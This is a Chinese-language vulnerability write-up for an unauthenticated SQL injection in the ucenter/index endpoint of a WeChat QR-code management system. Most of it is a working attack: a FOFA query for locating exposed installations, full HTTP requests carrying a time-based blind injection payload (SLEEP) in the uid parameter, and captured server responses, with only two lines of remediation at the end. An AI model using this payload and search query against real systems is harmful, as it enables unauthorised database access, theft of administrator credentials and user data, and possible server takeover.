

微信活码系统 ucenterindex SQL注入漏洞

漏洞描述

微信活码系统 ucenter/index 接口存在SQL注入漏洞，未经身份验证的远程攻击者除了可以利用 此漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

影响版本

微信活码系统

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: body=".qn-user-login"

POC/EXP: 延时5秒执行2次

GET /ucenter/index/?uid=1)%20AND%20(SELECT%203460%20FROM%20(SELECT(SLEEP(5))))RkHL)%20AND%20(1015=1015 HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip

Connection: close

发送请求

强制 HTTPS

历史

生成 Yaml

数据包扫描

热加载

构造请求

Request

Responses

1 GET /ucenter/index/?uid=1)%20AND%20(SELECT%203460%20FROM%20(SELECT(SLEEP(5)))RkHL)%20AND%20(1015=1015 HTTP/1.1

2 Host: 3

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36

4 Content-Type: application/x-www-form-urlencoded

5 Accept-Encoding: gzip

6 Connection: close

1 HTTP/1.1 200 OK

2 Date: Thu, 21 Nov 2024 08:59:58 GMT

3 Server: Apache

4 Expires: Thu, 19 Nov 1981 08:52:00 GMT

5 Pragma: no-cache

6 Cache-control: private

7 X-Powered-By: QingNianPHP

8 Set-Cookie: PHPSESSID=1h96orjub4jtq6ohkng7oi0oi5; path=/

9 Upgrade: h2

10 Connection: Upgrade, close

11 Vary: Accept-Encoding

12 Content-Type: text/html; charset=utf-8

13 Content-Length: 3569

14

15 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

16 <!--[if IE 8]><html lang="zh" class="ie8 no-js"><![endif]-->

17 <!--[if IE 9]><html lang="zh" class="ie9 no-js"><![endif]-->

18 <!--[if !IE]><!-->

19 <html xmlns="http://www.w3.org/1999/xhtml">

20 <!--<![endif]-->

21 <head>

POC/EXP: 延时3秒执行2次

发送请求

强制 HTTPS

历史

生成 Yaml

数据包扫描

热加载

构造请求

Request

Responses

1 GET /ucenter/index/?uid=1)%20AND%20(SELECT%203460%20FROM%20(SELECT(SLEEP(3)))RkHL)%20AND%20(1015=1015 HTTP/1.1

2 Host: 3

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36

4 Content-Type: application/x-www-form-urlencoded

5 Accept-Encoding: gzip

6 Connection: close

1 HTTP/1.1 200 OK

2 Date: Thu, 21 Nov 2024 09:04:43 GMT

3 Server: Apache

4 Expires: Thu, 19 Nov 1981 08:52:00 GMT

5 Pragma: no-cache

6 Cache-control: private

7 X-Powered-By: QingNianPHP

8 Set-Cookie: PHPSESSID=69kcetulge608673frobguut24; path=/

9 Upgrade: h2

10 Connection: Upgrade, close

11 Vary: Accept-Encoding

12 Content-Type: text/html; charset=utf-8

13 Content-Length: 3569

14

15 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

16 <!--[if IE 8]><html lang="zh" class="ie8 no-js"><![endif]-->

17 <!--[if IE 9]><html lang="zh" class="ie9 no-js"><![endif]-->

18 <!--[if !IE]><!-->

19 <html xmlns="http://www.w3.org/1999/xhtml">

20 <!--<![endif]-->

21 <head>

22 <meta charset="utf-8">

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本